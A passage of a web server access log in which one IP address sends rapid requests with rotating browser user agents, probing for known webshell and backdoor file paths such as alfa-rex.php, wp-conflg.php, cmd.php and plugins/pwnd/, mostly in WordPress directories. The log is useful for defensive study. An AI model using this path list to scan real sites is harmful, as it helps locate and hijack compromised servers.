"GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-content/plugins/Ultimate_VC_Addons/assets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-includes/js/dist/script-modules/block-library/search/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-includes/customize/class-wp-customize-cropped-image-control.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/uploads/system_core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-includes/css/dist/preferences/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-includes/blocks/media-text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-includes/phpmailer/phpmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /plus/90sec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /storage/framework/views/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:09 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-includes/blocks/nextpage/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /themes/fitnessbase/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:10 +0300] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-admin/post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /lib/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /assets/bootstrap-fileupload/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /assets/jquery-ui/images/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-includes/Requests/library/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:11 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:12 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - 